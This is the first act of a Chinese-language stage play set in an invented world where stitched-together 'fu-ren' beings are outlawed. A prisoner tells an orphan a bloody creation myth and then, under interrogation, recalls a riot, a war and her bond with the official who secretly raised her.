《三欠年后》 1. 第一幕 场景设定 时间:《新伏法》颁布前夜 地点: ·主场景:一级警戒监狱,3号探视室 ·记忆场景:姚归云私人书房、首都街道、前线战场、圣殿山脚,姹镜私人办工室 人物: ·宛方知:穿囚服,缚椅上,手腕脚踝有能量抑制环,皮肤上的生命拼接线在冷白灯光下清晰可见,从左耳后蜿蜒至锁骨,再分支至手臂。 ·伏人小孩:被临时带进探视室的孤儿,穿着不合身的灰色统一服,手腕有新生伏人临时编码纹身。 ·姹镜:穿着深紫妒部制服,黑发盘起,手提黑色合金工文箱。 ·姚归云(记忆中):奸部前战略资源总督。 ·其余:警卫两名(伫立门外)、广播声(断续的新闻播报)。 灯光:·监狱灯光:冷白刺眼、无阴影。 ·记忆场景灯光:暖黄柔和、有光影层次。 ·关键过渡:姹镜走近玻璃时影子投在玻璃上,与宛方知的身影部分重叠。 声音: ·持续低频:监狱能量场嗡鸣、通风系统气流声。 ·间歇:远处牢房门开合、警卫巡逻脚步声、广播里模糊的新法辩论片段。 ·记忆音效:暴乱的嘶吼与静默、战场能量武器高频嘶鸣、圣殿山脚的虫鸣、姚归云书房里的翻书声。 ·关键静默:宛方知开始讲述神话时,所有环境音逐渐淡出,只剩她的声音。 【第一幕正文】 (灯光亮起,冷白刺眼) 宛方知:“抬头。我说,把妳那张小脸从影子里拔出来。影是墨鱼吐的汁,糊在脸上就成第二层皮了。妳才多大?五云?六云?手腕上那串数字红得惨,像是用针蘸着朱砂掺上雌黄一针一针刺进皮肉里去的,那是咒啊,疼吗?疼是活物的印戳。 她们教妳认字了吗?不是灵堂发的那种方正正墨香香的识字卡,是字,字是有筋骨的,一撇一捺都连着血脉筋络,譬如“血”字,底下一横,要写得像刀口子刚划开、血珠子将凝未凝时那道暗红的缝。 数字呢?编号总该认得。妳腕上这串:3-7-4-9。三是天地人,三才不稳;七是魂数目,七魄离散;四是死的谐音,四象崩摧;九是往生极数,九转难回。她们给妳烙了道偈语在皮肉上,妳自己倒浑噩噩不知晓,偈语要反着解:三不稳便求稳,七离散便聚魂,四死中向死生,九不回偏要回,这是妳的命数,锈在了皮里。 那好,我教点她们不教的,想听故事吗?不是光碟里那些裹着蜜糖掐着嗓子的圣训,是带着骨髓腥气的故事,听完要做噩梦的,梦里会有紫血从天板渗下来,妳听不听?” 伏人小孩:惊奇点头 宛方知:“故事的开头没有光,不是我们夜里抬头看见的紫蒙蒙的光,那是后来染上的,是媞皇的血雾化了、又被时间兑了水、调出的颜色,我说的是“没有”,是连“黑”这个字都还没被发明、舌头卷不起那个音时的“没有”。虚空里浮着两样东西,一样叫秩序,一样叫喑哑。秩序想唱歌,喉咙里却卡着一把梳子,每个刚成形的音符都梳成了碎末,筛得只剩下极细粉尘,亮晶晶的,飘着飘着就化了,因为喑哑不让它唱,喑哑没有捂住它的嘴,只是把它的喉咙变成枯井,扔块石头下去,回声闷死在半道,成了井肚里的一个嗝。秩序想画出星辰的形状,手指刚蘸了银河的银粉喑哑就泼过来一台浓墨,直接让那一片存在成了空白,秩序想写下时间的式子,一撇是过去,一捺是未来,中间那一道是现在,该是沉沉实实的一条,压住纸。喑哑呢?它抽走了现在,于是式子悬在半空,前后两头都失了依凭,它们缠斗了多久?没法算。那时时间是团湿面团,揉来揉去不成形,只有一种感觉,如果把两块冰贴在一起,贴得久了,冰面会融出薄薄水膜,两块冰就在这膜里滑来滑去,似离似合,分不出彼此,它们就在那交融又抗拒的黏稠里熬着,熬得虚空都有了体温,温吞到让人昏昏欲睡的体温。 直到两个姐妹路过。妹妹娲的衣摆扫过星尘,衣褶里兜着万千个还未孵化的文明,像桑叶上未破卵的蚕籽,一粒粒饱满透明,看得见里面蜷缩的小魂魄,她先走了,衣角曳过之处,星尘簌簌地落,落进一片叫地球的泥点子,她蹲下身,她捏,捏出会哭会笑的泥偶往她们嘴里吹一口气,气是温的,带着她舌尖上的甜腥味。姐姐媞呢?她留在原地,看着妹妹的背影小成一个光点,光点又被更浓的星云胎衣吞了,最后连一丝微光都不剩,像烛泪滴进深潭。她想姐姐,于是她开始找,横渡星海,星海不是海,是亿万颗沉默的珠子串成的帘子,一重重,撩开这一重,后面还是,然后她看见了这片星云。浑身裹着胎脂和血丝,光在里面挣扎,不是亮起来,是想要亮起来那种挣扎,像鸟用喙啄蛋壳,壳太厚,啄得喙尖渗血,血是淡金色的,黏在壳膜上。规律也是,刚刚学着站立,腿还是软的。她还看见,那团湿漉漉的旁边蹲着一个东西,是喑哑本身,显形了。她们后来给它起名噬兽,那是抬举它了,兽还有形有质有骨有血,它没有,它像被抽走了所有声音的影子。 媞可以绕过去,衣角一提,脚尖在虚空里轻轻一点,就能从这团未成形的混沌边上滑过去,宇宙大得很,每天都有星云胎死腹中,就像每天都有露水在日出前蒸发,不值得惋惜,连一声叹息都多余。但她停下来了,停下来的那一刻衣摆上的星尘簌簌落下,落在混沌表皮上发出嗞声轻响,她看着那些挣扎的光那些打颤的律,看着看着忽然想起妹妹指尖的温度,她想:如果娲在这里,她一定会蹲下来,用手拢住这点微光,但娲不在所以她必须蹲下来。她走向那团影子,她走到影子跟前,影子没有头但朝向了她,然后她张开了手臂,不是拥抱不是战斗,她的血从毛孔里被挤出来,不是流是挤,噗嗤一声甜腥冲天,喷溅成这片星域永远不散的紫云,现在抬头,透过监狱天窗嵌着能量栅格的玻璃,看到的那片紫,那不是霞光不是暮霭,那是她的血还在烧。 她的肉被寸寸剥落,肉块砸进尘埃里,重的成了山峦,筋络化作矿脉,矿脉里流的不是水,是肌肉记忆里残存微微搏动的颤;轻的飘着,成了浮岛,岛上长出的第一茬草,根须吮吸的是她皮脂里未散尽的温。她的骨头…她的骨头最惨,碎成介于有形和无形之间的骨渣,被巨大引力拖拽着,沉进地心深处,变成灵骨矿脉。伏人身体里那点可怜的、被盗取的灵骨,源头就在这里,在她的碎骨里,每一次呼吸,每一次心跳,其实都是她碎骨在遥远地心的余震顺着地脉传上来。最疼的不是这个,最疼的是,她不能只是死,不能只是变成山河日月,她得赢,赢是什么意思?就是要把喑哑这个概念从宇宙记忆里抠掉,连它曾经存在过这个念头都不允许留下,她要让这片星云里的光真正亮起来,让规律站稳,让那些胚胎里的心跳长成文明,长出诗、长出歌、长出爱恨情仇这些麻烦又美丽的东西,长出我们这些后来者,长出妳我此刻的囚笼与对话。 所以她做了最后一件事。她把最后的意志,对姐姐的思念、胜利的呐喊、创造的渴望,所有这些东西压缩再压缩压进星核变成了灵源。 然后她彻底崩解了,没有遗体没有坟墓,她成了女人们呼吸时鼻腔里那一点微凉的刺激,成了女人们踩踏大地时脚底传来的轻微震动,成了女人们仰望夜空时眼底映出的那片紫晕,成了女人们身体深处那点微弱总是在寻求共鸣的灵骨回响,像深井里有人轻轻敲了敲井壁,咚一声,闷闷的,等着另一声回应,等了千万年,有的等到了,有的没有。 这就是创世,不神圣很血腥,是把一个神活生生拆解成零件的工程,拆得七零八落拆得汁液淋漓,我们这些人,就在这些零件搭起的舞台上,演着一出出悲喜剧,哭哭笑笑的,还以为自己是主角。 所以妳看,我们伏人,我们这些‘非法造物’、‘骨渣拼贴的画皮’,我们身体里流的不是血,是窃取的神骨渣滓混着动物植物腐尸的汁液,汁液里有草涩、兽膻、虫腥。我们皮肤上这些拼接线,是缝合的痕迹:针脚细密如绣工的地方,是殖骨师手艺好心也静,穿针引线时也许还哼着古调;针脚粗陋是那天她喝了劣酒,手抖了或者心乱了,线头打了个死结就硬生生勒进皮肉里。我们的存在本身是一场盗窃案,案发现场就在某间不见天日的地下室,但我们盗窃的是谁?是一个为了保护甚至还没出生的我们,甘愿把自己碎成星辰、让每块碎片都成为世界基石、连痛呼都化作永恒背景音的神。讽刺吗?我们最深的原罪源于最伟大的牺牲,我们是不该存在的回声却回响着一个神希望存在的呐喊,那呐喊太强烈,穿过千万年时光的帷幕震碎了玻璃窗,我们这些碎片就从破窗口跳了进来,踉踉跄跄落在了不该落的地方,阴沟里,墙角下,缝隙间。” 伏人小孩:急促呼吸,开始用手指比划,手在空中画出凌乱的线。 宛方知:“妳是问,那我们算什么?我们算创世神话最后一页边角上被蠹虫蛀空的一个小洞,透过洞眼能窥见下一页的空白。是媞皇碎骨时溅得最远的那几粒骨渣飞得太高太远,越过了她神躯化成的山河疆界,落下来时没落回她的怀抱只掉进腐叶堆,掉进沼泽沾上黏液和尘土。脏了浊了,但若真凑得极近,鼻尖贴上骨渣切面还留着一点点神性崩解时的闪光,那就是我们皮肤下那点微弱灵骨的来处,也是我们额头上、永远洗不掉的非法二字的来处。” 警卫: “时间到。” 宛方知:“记住这个故事,不是用脑子记,脑子会被新的苦难覆盖,是用骨头记。以后如果有人告诉妳,妳“不该存在”,妳就摸摸手腕上那串数字,然后想想,那片紫色夜空是谁的血染成的,那血是不是比泪更灼人。如果有人告诉妳,妳“低人一等”,妳就蜷缩起来,听听自己心跳的鼓点,再想想这节奏是不是和地心深处的震颤频率隐约合拍?哪怕只合上半拍,那也是妳与神、与这片大地、最深最哑的脐带牵连。 然后,然后活下去。 哪怕是以“非法造物”的身份,像阴沟里的苔藓,湿漉漉滑腻腻,但活着,一星绿意扒住砖缝。 哪怕是以“骨渣”的姿态,被践踏被碾磨,被扫进簸箕倒掉,但活着,粉末落在土里或许明年能开出姿势。 活下去,就是把媞那声“此处应有生命”的呐喊,用最卑微的方式接过来咽下去,再慢慢从牙缝里丝丝缕缕地呼出来……” 姹镜: “三级监察权限,编号Z-7-3-0-1。已申请当面审讯,能量抑制环状态? 警卫: “正常,精神力压制百分之八十五,物理抑制全开,无异常。” 姹镜: “编号3-7-4-9,宛方知。我是妒部三级监察长姹镜,负责妳案件的最终复核。有几个问题需要妳当面确认。” 宛方知:“请讲。” 姹镜: “根据档案,妳在无声期间身处暴乱核心区,记录显示妳当时与奸部前总督姚归云在一起。请描述妳当时的行为。” 宛方知:“我在她身边” 姹镜: “具体行为。” 宛方知:“保护她。” 姹镜: “以什么身份?” 宛方知:“以她被指派的母庭之外的私人抚养的身份。” 姹镜: “私人抚养,未经登记?” 宛方知:“是。” 姹镜: “原因?” 宛方知:“监察长,妳觉得,一位奸部前总督,大开承认自己私下收养一个非法造物,是明智之举吗?” 姹镜: “所以是秘密收养。那么,在暴乱中,妳如何保护她?” 宛方知:“……那时候街上,红的蓝的光在绞,把夜色绞成一块一块的碎片,每块碎片都很锋利,声音……不,那不是声音,是伏人想喊,喉咙被水泥封死了只能从缝隙里挤出气。她走在前面我跟在后面,隔着她背影投下的那片阴影,我手里攥着那把短刃,她给的。她让收起来,还说我现在的任务是跟着她而不是战斗,我说:可她们在攻击妳。 她说:她们攻击的不是我,是奸部总督,是体制象征,如果我只是个普通人,她们可能会向我求救而不是举着棍子冲过来,收起来。我就收了,量刃蓝光熄掉但握着刀柄,她边走边对着通讯器下命令:“第三区封锁线后移两百米,让出广场东侧通道。对,让她们聚,聚起来才好清理。嫉部的人到了吗?让她们从西侧切入,用非致命震荡波。”然后我看到…墙角有个伏人被两个执法者用电击棒打,一下,两下,她蜷着,嘴里吐出血沫,还有一个伏人小孩,蹲在一具大人尸体旁边,用手推她,一下又一下,好像想把她叫醒,小孩眼泪鼻涕糊了一脸,在脏兮兮的脸上冲出几道白痕,我觉得心被攥住了。”她问我:觉得残酷?我说:嗯。她说:这就是代价。当人们选择用暴力表达诉求时就要准备好承受暴力的反噬,法律不会因为弱势群体就网开一面,法律只认行为。 我说:但她们发不出声音,又该怎么表达? 她停下来转身看我,她说:阿直,这个世界有无数种表达方式,画画写字静坐绝食甚至自残,只要想表达总能找到方式,选择最激烈的就要承担最激烈的后果。而且妳真的以为这场暴乱是自发的吗? 我愣住了:什么? 她转身继续走:有组织,有预谋,有煽动者。那些真正的幕后黑手,现在正躲在安全的地方,喝着热茶,看着这些炮灰用命去撞铜墙铁壁,只等流够血之后,血渗进地砖缝里,擦都擦不掉时才站出来用沾着血的手帕擦擦眼角,说:‘看,体制多么残酷。’然后用这些血去交换政治筹码。 她说完就往前走,我跟上,但脑子里眼睛里全是那个小孩推尸体的手。” 姹镜: “宛方知。回答我的问题。在暴乱中,妳具体做了什么来保护姚总督?” 宛方知:“我跟着她。我的影子短,她的影子长,我帮她注意身后的动静。有碎玻璃从侧面飞来,不知是谁砸的,也许是流弹也许是故意的,我侧身挡了一下,玻璃划破了我左臂,衣服破了血渗出来,她说:疼吗?我说:不疼。她说:撒谎。伏人的痛觉神经比女性敏感百分之三十。这是生理构造差异,写在教科书第三章第五节。妳伤口周围的肌肉在轻微痉挛,瞳孔也有扩张。 然后她伸手用指尖碰了碰伤口边缘,她说:皮肉伤,不深。但玻璃可能不干净,有铁锈或者别人的血。然后她从随身医疗包里拿出止血凝胶,拧开盖子,她涂得很仔细,食指蘸着凝胶沿着伤口边缘慢慢抹开,一圈又一圈,一边涂她一边说:记住这种疼。这是为了保护我而受的伤。但妳要想清楚,阿直,妳保护的是我,还是给妳庇护的这个人?如果换一个人,给妳同样的庇护,给妳衣食,给妳名字,给妳一个可以蜷缩的角落,妳会不会也为她挡? 我抬头看她,她没看我,眼睛盯着伤口,睫毛垂下来, 我说:不会。 她:为什么? 我:因为妳是姐姐。 她说:傻孩子。姐姐只是一个称呼,它可以给任何人,今天给我,明天给另一个对妳好的人,轻飘飘的,像柳絮,风一吹就散了,妳抓不住。 我说:不。它只给妳。 她说:好了。下次注意闪避,不是所有攻击都需要用身体去挡。身体会坏会疼,会留下疤。 然后她站起来继续往前走。我跟在后面低头看着手臂上的绷带,白色的,在红蓝光影里显得突兀,我觉得伤口不疼了,凝胶凉丝镇住灼热,但心里有个地方开始疼……” 姹镜: “这段互动有记录吗?” 宛方知:“没有,当时只有我们俩在一条侧巷里,巷子很窄两边高墙,只有她和我。” 姹镜: “所以是未经证实的口述。继续。暴乱后期,妳们遭遇了伏人围攻。根据现场能量残留分析,有至少十五名伏人从三个方向接近妳们。当时姚总督的护卫队在五十米外被拖住,妳们被隔离,请描述接下来的情况。” 宛方知:“我们被堵在一条死胡同里。背面是墙,左右和前面都是人。她们围上来,手里拿着各种东西:撬棍,钢筋,击棒尖端噼啪闪着蓝白色的电火花,火花溅到地上,滋啦一声留下焦痕,眼睛是红的,喉咙里发出介于嘶吼和呜咽之间的怪响。她把我拉到身后,动作很快,但力道控制得很好,没有拽疼我,只是一扯我就到了她影子的笼罩下。 她面对着她们站得很直,她说:退后,我是奸部总督。人群微微骚动,其中一个,看起来像是领头的,她举起手里的撬棍,棍尖在空气里划了划,然后棍尖指了指我。接着用手比划一个交换的手势,左手指我,右手指胡同口,然后右手做“请”的姿势,手掌摊开,朝外挥了挥。蠢货。她们根本不知道自己在跟谁谈条件,不知道她是什么样的人。不知道有些东西是不能放在天平上称的。” 姹镜: “姚总督的反应?” 宛方知:“她回头看了我一眼。我看得见她眼底的倒影,是我自己,缩小的,惊慌的,像困在琥珀里的小虫。但眼神本身是隔着一层的,她转回去,对着那群伏人说:她是我的。我的所物。我的宠物。我的责任。妳们想要,我不同意。我数到三,不退我就用束缚网,那东西打在身上会永久损伤神经,妳们这辈子都别想再感觉到仇恨这种情绪…” 姹镜: “她数到三了吗?” 宛方知:“没有。数到二的时候,舌头刚卷起那个音还没吐出,胡同口外面突然爆开密集开火声,尖锐嘶鸣和沉闷爆炸混在一起,墙上簌簌掉灰,嫉部的人突破了外围。喊杀声脚步声,能量束划过空气尖啸,混成喧嚣海浪拍打着胡同口,胡同口的伏人骚动起来,有人回头张望眼神慌乱;有人脚步往后挪;有人开始急促抽气。但那个为首的没退,她眼睛死死盯着她,或者说盯着她身后的我,她突然冲过来带着全身重量砸向她,她侧身闪开左手抬起,锥形银蓝的量网喷射而出滋滋作响,但打偏了。那人倒地,半边身体被电网缠住,蓝白色的电光噼啪乱窜,她剧烈抽搐,另外四个人,看到头领倒地,非但没退,反而被激怒到一齐扑上来,她一个人对付不了四个,格挡闪避,手环连续发射低功率电击,但只能延缓动作,一根钢筋扫向她的头侧带着呼呼风声,我冲出去了,幽蓝光芒瞬间暴涨,照亮了昏暗胡同,照亮了那些人狰狞的脸,脸上每道污垢的沟壑都清晰如刻;照亮了斑驳苔藓,苔藓在蓝光下泛出诡异紫绿;也照亮了她瞬间转过来带着惊愕的眼睛。” 姹镜: “妳杀了她们?” 宛方知:“我伤了两个。一个在胳膊上划了口子,皮肉翻卷,一个在腿上,刀刃切入时能感觉到阻力然后一滑碰到了骨头,骨头硬,刀刃偏了几分,避开了动脉和要害,我没下死手,刀刃偏了心也偏了。但我的攻击激怒了她们,剩下两人放弃了攻击她转而全力攻击我,一根铁管砸向我的头另一根棍子无声无息砸在后背上,我往前踉跄失去平衡,天旋地转撞进她怀里,她扶住我,手臂环过我的肩膀,箍住我摇摇欲坠的身体,她的胸膛是温的,隔着衣服传来微微热度,还有心跳,咚咚咚咚,急促有力。然后我听见她说:够了,波纹无声散扫过人,她们嘴里吐出白色沫子但发不出声音,一时间只剩下能量场残留的细微嗡鸣声。” 姹镜: “那是灵制,高权限女人对伏人的精神强制指令,被压制者中枢神经会受到不可逆损伤,包括情感中枢的部分功能永久丧失,记忆区块也可能受损。 姚总督使用了它。” 宛方知:“是。她用了。然后她松开扶我的手,手臂从我肩膀上滑开,温热触感消失了,只剩下后背被棍击处的痛,和怀里突然空了的冷。她走到那些跪地抽搐的伏人面前,一个一个看过去,目光扫过她们的脸她们的身,最后停在那个为首的面前她蹲下来平视她,她说:派妳们来的人是不是答应妳们事成之后给妳们合法身份?她骗妳们的,身份芯片需要青源直接授权,需要六位女性联名担保,需要贡献积分达到阈值。她给不了,她只会给妳们一张去三号矿坑做永久苦力的单程车票,车票是纸质的,或者更糟。 对着通讯器说:胡同已控制。有十四名伏人袭击者,全部丧失行动能力。过来收容。 说完,她转身走回我身边看着我,目光落在我手里还握着的刃尖沾血的短刃上,落在我后背被棍子砸破正在渗血的衣物上,然后她说:阿直,把刀放下。” 姹镜: “妳放下了吗?” 宛方知:“放下了。她走过来,抬手……我以为她要打我或者推开我或者用冷话刺我。但她没有,她抬手用指尖摸了摸我的脸,她的手指上有刚才沾到的血,不知道是那些伏人的,还是我的,还是两者混合的。她擦掉我脸颊上的一点灰:做得很好,但妳记住,从今天起妳手上沾了同类的血,这血会跟着妳一辈子,像胎记洗不掉;像影子甩不脱;像骨上字磨不平,无论妳去哪里,天涯海角;无论妳将来成为什么,英魂囚徒,这血都在,妳洗不掉,我洗不掉,我们都洗不掉了。 然后执法队冲进来了,她们看到一地跪着抽搐的伏人看到我看到她,领队的人向她敬礼:总督,属下来迟。她说:不迟。正好。 然后她指了指我:带她去医疗站,后背有伤。又指指那些伏人:全部收押。单独关押。我要亲自审。 两个队员过来扶我,她们的手很有力,带着金属护甲的冷硬,硌得我生疼。我回头看她,她站在胡同中间,背对着我微微仰头,看着墙上灼烧出的焦痕。” 姹镜: “这就是妳记忆中无声的结束?” 宛方知:“不,那是开始。” 姹镜: “什么意思?” 宛方知:“暴乱结束后第三天,后背淤青慢慢散了,从深紫色褪成青黄色,那天晚上她回来得很晚。我推开门出去,她坐在客厅沙发上没有开灯,窗外的紫云夜空透进来一点微光,那光是凉的,带着夜露的湿气,薄薄铺在她脸上身上,把她镀成一道银灰剪影。她闭着眼头仰靠在沙发背上,一只手垂在身侧,手指微微蜷曲,像是想抓住什么,虚空里只有空气于是手指徒劳松开,我走过去,地毯吸掉了脚步声。她没睁眼,但我能感觉到她知道我来了,我说:姐姐。她嗯了一声。 我说:妳累了。 她说:是啊,累了。然后她睁开眼睛看着我,眼睛底下沉着很多东西,沉船骸骨,失落珠宝,溺毙叹息。 她说:阿直,过来。我走过去蹲在她脚边。仰头看她,这个角度,能看到她下巴柔和的弧线。 她看着我,目光在我脸上来回扫视:把鞋脱了。我愣了一下,但她重复我就脱了,赤脚踩在厚厚地毯上,茎纤挠着脚心,有点痒,痒细细密密的,沿着脚心往上爬,爬到小腿肚。 她说:脚抬起来。我抬起右脚脚心朝上,她伸出手轻轻试探地碰了碰我的脚背,很轻,从脚趾根部的凸起,到足弓凹陷,凹陷很深;再到脚踝处微微突起的骨头,骨头硬硬的顶着薄薄皮肤。一遍两遍三遍,像是在确认什么又像是在记住什么,每一道曲线每一处起伏都要印在指纹里。她的手很凉,我的脚背却很热,血涌上来,皮肤微微发红,我浑身僵硬不敢动,连呼吸都放得很轻,怕惊扰了这诡异静谧,怕她缩回手,怕这片刻触碰露水一样蒸发。然后我听见她说:阿直,如果有一天,我不得不让妳去做一件很痛苦的事、一件妳会恨我的事、一件让妳往后余生每次想起来都感到缝衣针锈蚀在肉里的事,妳会去做吗? 我没犹豫:会。 她笑问:为什么? 我说:因为妳是姐姐。 她收回手,身体往后靠进沙发深处,她说:傻孩子,‘姐姐’这个称呼,不值得妳赔上一切,它只是一个词。 我说:情愿。 她不再说话。我们就那样待着。她在沙发里,陷在阴影中,像一尊正在风化的石像。我蹲在她脚边,赤着脚,脚背上还残留着她指尖划过时留下的一道道冰凉轨迹,那轨迹像蜗牛爬过的湿痕,慢慢蒸发带走皮肤上最后一点温度。 很久之后,她说:去睡吧。 我站起来,转身要走的时候,她说:阿直。 我回头。 她说:记住今晚。记住被触碰的感觉。记住这地毯的柔软。记住这房间的昏暗。记住这空气的寂静。记住我手指的温度。可能不会再有了。 我当时不懂,真的不懂。只以为她是累了,是心情不好说些莫名其怪的话。但我点头:嗯,记住了。然后我回房间,关上门之前我看了她最后一眼,她还坐在那片黑暗里,那一刻我突然觉得她离我好远,远得像隔着一整片星海,星海里是媞皇碎骨时溅起的尘埃,尘埃亿万,每一粒都隔着一光年的距离。” 姹镜: “这是暴乱结束后的事。与暴乱本身无关。我的问题是……” 宛方知:“有关。怎么会无关?血肉连着筋,筋骨撑着魂。因为那个晚上之后一切都不一样了,她不再摸我的头,不再叫我阿直,她开始叫我宛方知,那距离不是一步两步,是千山万水。 她开始给我布置更多的学习任务,军事理论能量操作高阶格斗,对练时她亲自上场出手毫不留情,她说:妳要变强,强到不需要任何人的保护。强到可以保护妳自己。 我学得很拼命,因为我想,如果我变得足够强,强到能独当一面,强到能在战场上活下来,她是不是就会再叫我一次阿直?是不是就会再用带着一点点温度一点点柔和像冬日呵气暖手的眼神看我?但再也没有。像承诺过的春天,迟迟不来,来的只是春寒,冻伤了所有初生的芽。 直到……直到大战开始,那场把一切都烧成灰、又把灰烬重新塑形、塑成更畸形模样的战役。” 姹镜: “默潮战役。” 宛方知:“是。那场战役。全球性的喑哑能量余波冲击,无声无息漫过来,没有巨响没有狂风,只有压迫感从地底升起从天空压下,所过之处灵感枯竭情感冻结连记忆都开始褪色,文明站在悬崖边上,脚尖已经悬空,再退一步,就是永恒寂静,寂静里连回声都没有。官方发布了征召,金红色的电子工告,滚过每块屏幕,字字灼目,面向所有伏人,承诺:“战功换合法”。五个字钩住了两千多颗绝望又渴望的心,心在腔子里扑腾,像网里的鱼。我也是其中之一,名字被打在征召名单上墨迹未干。我被编入碎骨小队,名字很贴切,我们就是要去把敌人的骨头、或许还有我们自己的骨头,块块敲碎,敲成粉末,粉末扬起,迷了天,蔽了日。 上战场前一天,她来找我,在训练场的更衣室。我坐在长凳上,低着头,一遍遍擦拭能量步枪的枪管,她推门进来,穿着全套制服,深黑色,肩章上的金色纹路在昏暗灯光下幽幽反光,似猛兽瞳孔。 她走到我面前,影子投下来,笼罩住我和我手里的枪。她看着我手里的枪看了几秒,目光穿透金属看到里面复杂的能量回路,看到即将喷射出的灼热死亡。 然后说: 明天就要上战场了,怕吗? 我说:不怕。 她说:撒谎。 然后她抬手…我以为,时隔这么久,在经历了那些冰冷和距离之后她终于要像以前那样摸摸我的头了,手指穿过头发带来短暂抚慰,但她没有,她的手落隔着作战服的布料用力按了按,她说:宛方知。听好。上了战场,妳就是士兵。不是谁的阿直,不是谁的所物。妳是士兵。妳的任务,是活下去,完成任务,然后回来。别想着为我而死。我不需要。听懂了吗?” 我点头:听懂了。 但她看着我的眼睛:妳没听懂。 然后她收回手转身要走,走到门口,背对着我说:如果我死在战场上,别为我报仇。如果我被俘,别来救我。如果我……算了。好好活着,这是命令。然后她拉开门,走了出去。” 姹镜: “战场上发生了什么?” 宛方知:“太多了。血,火,残缺肢体,最后呐喊,能量灼烧空气的焦臭味,同伴临死前瞪大的眼睛……太多了,米是肉,肉是骨。但有一件事我记得特别清楚,决定战役的前夜,我们小队接到最终任务:潜入喑哑污染源的核心区域,放置能量稳定锚点。任务简报只有半页纸,自杀式任务。生还率理论计算低于百分之五,那百分之五,大概属于运气好到逆天、或者被命运彻底遗忘了的人。 出发前,所有被征召的伏人在大集结区集合,一个高阶将领站在临时搭起的高台上穿着笔挺将服,声音通过扩音器传出来:“勇女们!今天,妳们将为了紫云星雪青国的未来而战!妳们的牺牲,将被永远铭记!妳们的功劳,将换来合法的身份,换来尊严,换来未来!”下面站着的伏人密密麻麻仰头听着,面孔在惨白探照灯光下模糊成一片灰色没有五官的平面。只有呼吸声,粗重压抑的呼吸声从两千多个胸腔里发出来汇成一片低沉海浪,然后将领举起右手,握拳高喊:“为了媞皇!为了雪青!”下面的伏人中突然有人开始拍胸口,一下,嘭嘭,两下三下,节奏凌乱,嘭嘭嘭嘭嘭嘭。这些哑巴,被剥夺了声音的哑巴,唯一能发出属于战场的心跳声,心跳如鼓鼓声如雷,雷声里是两千多条命,即将赴死的命。我也在拍,用力地拍,疼得让我觉得自己还活着,血还在流心还在跳,拍得眼眶发热但我没有哭,伏人没有泪只有血,泪腺是退化了的器官,像盲肠,留着没用,割了也好。 然后,队伍开拔,一条灰色河流流向屠宰场或者流向渺茫镀着金边的许诺。我们登上运输舰,舰舱里挤满了人,我坐在角落,低头检查自己的装备:能量枪枪管黝黑;备用匣冰凉沉重;急救包绷带白色;还有她当年给我的那把短刃,我一直带着,用皮绳绑在小腿上贴着皮肤。旁边坐着一个我不认识的伏人,很年轻,她也在检查装备,手抖得连枪栓都拉不利索,我看了她一眼,她察觉到我的目光,抬起头对我笑了笑,然后她用手比划手指在空中划出笨拙轨迹:第一次?我点头。她比划:我也是。怕吗?我比划:怕。 她比划:我也怕。但听说如果战死了,遗体会被回收,净化,做成下代伏人的部分食物,这个好像叫“薪火相传”。我比划:嗯。她比划:那如果我们死了,也算……留下点什么了,对吧?至少,不会像灰尘一样,被风吹走,就什么都没了。我没比划,手指僵在空中不知该怎么回应,说是太残忍说不是太虚伪,她也没再比划,低下头继续摆弄她的枪栓。 起飞了。穿过大气层,剧烈颠簸,像在惊涛骇浪里行船,透过狭小舷窗,我能看到外面飞速掠过的景象:紫色云层被撕开,下方大地越来越小,城市变成棋盘格,山峦变成微小褶皱。那片大地那座城市,她……生活的地方。我想起她放在我肩膀上的手,那沉重带着训诫意味的力道。想起她说“好好活着,这是命令”。然后,一个念头刺进脑海:姐姐。这次,我可能不能听妳的命令了,为了让妳能活着,哪怕妳不再叫我阿直,哪怕妳只用冰冷审视的目光看我,哪怕妳心里根本没有我的位置,像墙上的一抹灰,拂去便忘。我要妳活着,呼吸行走,在阳光下或者阴影里,活着。” 姹镜: “任务成功了。” 宛方知:“成功了,用八成伤亡换来的成功,我们小队六个人活下来四个,我活下来了,被救援队从废墟里拖出来,麻袋里装着碎骨和烂肉,在后方医疗站昏迷了三天。醒来的时候,第一眼看到的是医疗站惨白的天板,上面有细细裂缝,蜿蜒着,不知通向哪里。然后我听见旁边有人说:她醒了。我转过头看到一位妓人,只露出一双眼睛,眼底有浓重黑眼圈,很久没睡好了,或者睡得太深梦魇太重。她走过来检查我的瞳孔,然后她说:妳命真大。脊柱第三节有骨裂,再偏一点点就永远站不起来了,现在只是需要时间愈合,躺着别动。她给我喂了点水,水流过干涸喉咙,她说:别急。妳队友都在隔壁,伤得轻重不同,有的丢了肉,有的瞎了眼,但都活着。我闭上眼睛,眼泪毫无预兆地流出来,她没说什么,用棉签轻轻擦了擦我的眼角,棉签是软的带着药水微凉,然后她说:休息吧,战争…快结束了。我又昏迷过去,窗外是星空,紫色的星空,那是媞的血化成的永恒背景,我想:我们赢了。我活下来了。我没有死。骨头没碎,魂还没散。我可以回去见她了。拖着这身伤,这条残命,回去见她。我可以对她说:姐姐,我完成了任务,我没有死,我活下来了,像妳命令的那样。然后呢?然后她会说什么?会再叫我一次阿直吗?那两个字,从她唇间吐出,会是怎样的音调?会再用指尖碰碰我的脚背吗?像那个昏暗夜晚,指尖微凉脚背灼热。还是会说“很好,妳证明了自己的价值,现在,去领妳的赏”?我不知道。猜不透。她像一本用密语写成的书,我翻来覆去,只认得封面几个字。但光是想着这些可能性,想着还能见到她,心就阵阵抽紧,不知道是疼,还是喜,还是惧,还是别的什么…我就想着这些,想着她可能出现的每一种反应,慢慢地又睡着了,梦里没有她,只有紫色虚空,虚空里回荡着骨头摩擦的声音。” 姹镜: “战争结束后,妳回去了吗?” 宛方知:“回去了,但没见到她。调令是加密的,直接来自最高议会,红色印章,没有任何解释没有交接时间,没有告别甚至连一张字条都没有,她走了只给我留下一封信。 我伤好得差不多,能下地走路之后第一件事就是回去,宅邸空荡荡的。她带走了大部分私人物品:书架空了一半,留下些无关紧要的典籍,重要卷宗和私人笔记都不见了,衣柜也空了大半,只有管家机器还在按照既定程序运转,嗡嗡打扫着其实已经很干净的地板,它检测到我回来,滑到我面前,胸前的显示屏亮起蓝光,然后从储物槽里吐出了那封信。我拿着信,站在书房中央。 就是在这个房间,她曾经摸我的头,手指穿过我的发丝,教我认字,告诉我规则是什么,规则是铁打的栅栏,我们都在栅栏里。 就是门外那个客厅,她曾经在黑暗里触碰我的脚背,说记住今晚。 